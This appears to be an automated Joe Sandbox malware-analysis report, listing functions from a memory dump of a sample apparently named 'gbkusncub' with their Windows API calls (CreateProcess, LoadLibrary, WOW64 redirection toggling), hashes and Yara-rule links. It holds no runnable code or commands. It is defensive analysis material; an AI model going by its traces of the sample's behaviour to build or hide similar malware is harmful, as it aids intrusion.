                                                                                                                                                        • Instruction ID: 07d7b0cdc39b1e64cbb28a2fac376226543de30ca609318c631ab2c0d3357053
                                                                                                                                                        • Opcode Fuzzy Hash: 099d8bb13ef32bfeb39db2e0e433570331192e200a4b801aa8de36bd23d3063a
                                                                                                                                                        • Instruction Fuzzy Hash: 7F01D471300104BFEB186BA99C4BFBF7AADDB85340F10402EB102DA1D1ED649C009165
                                                                                                                                                        Function 0073F126 Relevance: 1.7, APIs: 1, Instructions: 151COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: f9d3c74dc4ee603bc774660683992c0e355b3cad0233d14811f5f80a1a87d754
                                                                                                                                                        • Instruction ID: 30d11ea01d0922634bfd5856e127f251c7c5f32ed074216c2cf0a4a268a7fbd0
                                                                                                                                                        • Opcode Fuzzy Hash: f9d3c74dc4ee603bc774660683992c0e355b3cad0233d14811f5f80a1a87d754
                                                                                                                                                        • Instruction Fuzzy Hash: 30519675E00148EFEB10DF68C845E6E7BB1FB853A4F198168E8089B393C7799D42CB90
                                                                                                                                                        Function 0077FBCA Relevance: 1.6, APIs: 1, Instructions: 136COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CharLowerBuffW.USER32(?,?), ref: 0077FBE3
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: BuffCharLower
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2358735015-0
                                                                                                                                                        • Opcode ID: 0a29f3a1469dd3614cf14babe28f4630893f8f448b7d45d8f031ee867da8dd55
                                                                                                                                                        • Instruction ID: d19d22498dec1f173959513c7a422e7486d74aad44f1726854caef9122ee0602
                                                                                                                                                        • Opcode Fuzzy Hash: 0a29f3a1469dd3614cf14babe28f4630893f8f448b7d45d8f031ee867da8dd55
                                                                                                                                                        • Instruction Fuzzy Hash: 1641C5B2600208DFDF11EF64C9859AE77B8FF44350F11853AE91A97241EB74DA44CBA0
                                                                                                                                                        Function 00730000 Relevance: 1.6, APIs: 1, Instructions: 94processCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CreateProcess
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 963392458-0
                                                                                                                                                        • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                        • Instruction ID: 0bde5b1d5deefd41e9a4f5867d29ca77b036393e436957726a0eb2eb54b1519b
                                                                                                                                                        • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                        • Instruction Fuzzy Hash: 2831D170A00109DFE718CF59C4A0A69F7A6FB59300F6886A5E44ACB356D73AEDC1CBD0
                                                                                                                                                        Function 00788E39 Relevance: 1.6, APIs: 1, Instructions: 67COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 0071557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00715558,?,?,00754B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0071559E
                                                                                                                                                        • GetPrivateProfileStringW.KERNEL32(?,?,?,?,0000FFFF,?), ref: 00788EBE
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FullNamePathPrivateProfileString
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1991638491-0
                                                                                                                                                        • Opcode ID: 4465588b3d961ad25318396ed6cde0ec82f62cab34605369fbc521641e4be4c0
                                                                                                                                                        • Instruction ID: 3553760964827b5a276872aff25002ced97bf6f023979af9ac775aa30374f528
                                                                                                                                                        • Opcode Fuzzy Hash: 4465588b3d961ad25318396ed6cde0ec82f62cab34605369fbc521641e4be4c0
                                                                                                                                                        • Instruction Fuzzy Hash: 05214239600605EFCB10EB58C845CAEBBB5EF49350B044054F945673A1CB34BD95CBD1
                                                                                                                                                        Function 0071636D Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00716332: LoadLibraryA.KERNEL32(kernel32.dll,?,?,0071637F,?,?,007160AA,?,00000001,?,?,00000000), ref: 0071633E
                                                                                                                                                          • Part of subcall function 00716332: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00716350
                                                                                                                                                          • Part of subcall function 00716332: FreeLibrary.KERNEL32(00000000,?,?,0071637F,?,?,007160AA,?,00000001,?,?,00000000), ref: 00716362
                                                                                                                                                        • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,007160AA,?,00000001,?,?,00000000), ref: 0071639F
                                                                                                                                                          • Part of subcall function 007162FB: LoadLibraryA.KERNEL32(kernel32.dll,?,?,007554C3,?,?,007160AA,?,00000001,?,?,00000000), ref: 00716304
                                                                                                                                                          • Part of subcall function 007162FB: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00716316
                                                                                                                                                          • Part of subcall function 007162FB: FreeLibrary.KERNEL32(00000000,?,?,007554C3,?,?,007160AA,?,00000001,?,?,00000000), ref: 00716329
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Library$Load$AddressFreeProc
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2632591731-0
                                                                                                                                                        • Opcode ID: c556d8c9216a83d67f82032b35483c71c262c870b2dbe9254f7d74d0fee591b6
                                                                                                                                                        • Instruction ID: 2be253476f8fe01d01364709e9e3d59d694098e83303e7de6c9f9c24ba0e583a
                                                                                                                                                        • Opcode Fuzzy Hash: c556d8c9216a83d67f82032b35483c71c262c870b2dbe9254f7d74d0fee591b6
                                                                                                                                                        • Instruction Fuzzy Hash: E111E731600605EACB14BB68C80ABED77A5AF50B11F508429F953A61C1DFBCDE859750
                                                                                                                                                        Function 00748792 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: __wsopen_s
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3347428461-0
                                                                                                                                                        • Opcode ID: 05e6cf2c36b441424c9faded76c388be6f7c1d8fb5e9dcf2b593cc983bc9b064
                                                                                                                                                        • Instruction ID: 46e3bb5dce135b95f1cdcb397589011be2bc72b69e3dc808058d10fba931e1ea
                                                                                                                                                        • Opcode Fuzzy Hash: 05e6cf2c36b441424c9faded76c388be6f7c1d8fb5e9dcf2b593cc983bc9b064
                                                                                                                                                        • Instruction Fuzzy Hash: 81114C7190410EAFCB06DF98E94199E7BF5EF48310F104059FC04AB311DB35DA118BA5
                                                                                                                                                        Function 0071B050 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ReadFile.KERNELBASE(?,?,00010000,00000000,00000000,?,?,00000000,?,00716B73,?,00010000,00000000,00000000,00000000,00000000), ref: 0071B0AC
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FileRead
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2738559852-0
                                                                                                                                                        • Opcode ID: 7183fb504bec84d9ec08b7bcf6f106ff471a6c4eb087a8c7a7359a6641a5cf8c
                                                                                                                                                        • Instruction ID: 0a22907cff62d13195b112d0ea2a6bce61a38dddd9dcf42b0befca12995b5c30
                                                                                                                                                        • Opcode Fuzzy Hash: 7183fb504bec84d9ec08b7bcf6f106ff471a6c4eb087a8c7a7359a6641a5cf8c
                                                                                                                                                        • Instruction Fuzzy Hash: 79113A31200705DFD720CE19C481BA7B7F9EF48354F10C42DE9AA87A91C775A985CB60
                                                                                                                                                        Function 00745390 Relevance: 1.6, APIs: 1, Instructions: 52COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 0074500D: RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,007431B9,00000001,00000364,?,?,?,0000000A,00000000), ref: 0074504E
                                                                                                                                                        • _free.LIBCMT ref: 007453FC
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocateHeap_free
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 614378929-0
                                                                                                                                                        • Opcode ID: 70ee4adefee6eb26262b39f529bfb094e1f6354ac2554c6942b38d017f4a210d
                                                                                                                                                        • Instruction ID: 08d2b1f4144cbc0119e16b0a2f92e6d88a85e9c0190724a4ce82833f4c834b34
                                                                                                                                                        • Opcode Fuzzy Hash: 70ee4adefee6eb26262b39f529bfb094e1f6354ac2554c6942b38d017f4a210d
                                                                                                                                                        • Instruction Fuzzy Hash: AB0149B3604705ABE7318F65D885A5AFBDCEB89370F250A2DE1C4832C1EB74A845CB74
                                                                                                                                                        Function 0073E992 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: e3bcfdf3ea30de5ad2fd104242f32a7f0da7ba7ac48dae96aa9490ba82f0e323
                                                                                                                                                        • Instruction ID: d814cda9bb821ddb58bbd17dd56f81de50b9324a748dd72e879a34dd90644f53
                                                                                                                                                        • Opcode Fuzzy Hash: e3bcfdf3ea30de5ad2fd104242f32a7f0da7ba7ac48dae96aa9490ba82f0e323
                                                                                                                                                        • Instruction Fuzzy Hash: 34F02D32501624DBE6313E7A9C0976A33989F41331F110715F865921D3DF7CE8038793
                                                                                                                                                        Function 0074500D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,007431B9,00000001,00000364,?,?,?,0000000A,00000000), ref: 0074504E
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocateHeap
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1279760036-0
                                                                                                                                                        • Opcode ID: a5f5bfeaa7fb3222689c338da333a9e170182dbc8f2274141e631b85ffe22f7a
                                                                                                                                                        • Instruction ID: df4062f90a201091d3663760f2f798186a205d9a313153e36b90c04ebd363a1e
                                                                                                                                                        • Opcode Fuzzy Hash: a5f5bfeaa7fb3222689c338da333a9e170182dbc8f2274141e631b85ffe22f7a
                                                                                                                                                        • Instruction Fuzzy Hash: 41F0E935601D28A7EB315A32DC05F5A3758BF417A1F198115FC05961B3CB7CDC008AE0
                                                                                                                                                        Function 00743BB0 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • RtlAllocateHeap.NTDLL(00000000,?,?,?,00736A99,?,0000015D,?,?,?,?,007385D0,000000FF,00000000,?,?), ref: 00743BE2
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocateHeap
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1279760036-0
                                                                                                                                                        • Opcode ID: 55e7443799c5721fa712fd04180b8a2ef0acd59fde263daffc37461bab0f81e4
                                                                                                                                                        • Instruction ID: 43743619011610ccb9877785de497ddc052c28be419ec771142536568395d412
                                                                                                                                                        • Opcode Fuzzy Hash: 55e7443799c5721fa712fd04180b8a2ef0acd59fde263daffc37461bab0f81e4
                                                                                                                                                        • Instruction Fuzzy Hash: C4E022B120422497E6302B7A9C06F5B3658EF427E0F1A4221FC1ED60D2DB6DDE00CAE1
                                                                                                                                                        Function 0074510A Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • _free.LIBCMT ref: 0074512C
                                                                                                                                                          • Part of subcall function 00742D58: RtlFreeHeap.NTDLL(00000000,00000000,?,0074DB71,007E1DC4,00000000,007E1DC4,00000000,?,0074DB98,007E1DC4,00000007,007E1DC4,?,0074DF95,007E1DC4), ref: 00742D6E
                                                                                                                                                          • Part of subcall function 00742D58: GetLastError.KERNEL32(007E1DC4,?,0074DB71,007E1DC4,00000000,007E1DC4,00000000,?,0074DB98,007E1DC4,00000007,007E1DC4,?,0074DF95,007E1DC4,007E1DC4), ref: 00742D80
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorFreeHeapLast_free
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1353095263-0
                                                                                                                                                        • Opcode ID: a7136b118dd25681eba1fac516c3f168631d39be7bcab1b26d5392532d0b3266
                                                                                                                                                        • Instruction ID: cec9257ad7ab4679c6ee9e7269f75029aa37a49f18edbbe50ddae97f8cf9f1d0
                                                                                                                                                        • Opcode Fuzzy Hash: a7136b118dd25681eba1fac516c3f168631d39be7bcab1b26d5392532d0b3266
                                                                                                                                                        • Instruction Fuzzy Hash: 73E092762407099F8720CF6CD800A82B7E4EF853243208939F89DD7221D371E852CB40
                                                                                                                                                        Function 007163DB Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 26ef77f5d2f6708dafe65d886a5faebbf54ba90c18970eaf4913877f36809cdb
                                                                                                                                                        • Instruction ID: eccd234f778e3c82f608e734e60f01fb62d83ee435c204f510f3de994d537bd5
                                                                                                                                                        • Opcode Fuzzy Hash: 26ef77f5d2f6708dafe65d886a5faebbf54ba90c18970eaf4913877f36809cdb
                                                                                                                                                        • Instruction Fuzzy Hash: 65F03971101712CFCB349F68D4A48A2BBE6FF1432A324897EE5D782660D779A884DF50
                                                                                                                                                        Function 0071653A Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: __fread_nolock
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2638373210-0
                                                                                                                                                        • Opcode ID: 246872d857331b2299f9d721c1e21c3e63b90e22c0d4325a9684d784a7ce1dac
                                                                                                                                                        • Instruction ID: 3a914857467db73e19874f5693976d423a15f97e5002547aa3404d817f605a34
                                                                                                                                                        • Opcode Fuzzy Hash: 246872d857331b2299f9d721c1e21c3e63b90e22c0d4325a9684d784a7ce1dac
                                                                                                                                                        • Instruction Fuzzy Hash: 81F0D47140020DFBDF05DF94C941AAE7B7AFB04318F208445F9159A152D37ADA61EBA1
                                                                                                                                                        Function 00714154 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _wcslen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 176396367-0
                                                                                                                                                        • Opcode ID: cc851593f1fd2b35ed972b3ca0519c9d6ab1506275115f6254acfd33543c89c1
                                                                                                                                                        • Instruction ID: f4b06c91984f424a9bbd77974fd976352c773777c19b9ca03ae0c7b18ec28ad2
                                                                                                                                                        • Opcode Fuzzy Hash: cc851593f1fd2b35ed972b3ca0519c9d6ab1506275115f6254acfd33543c89c1
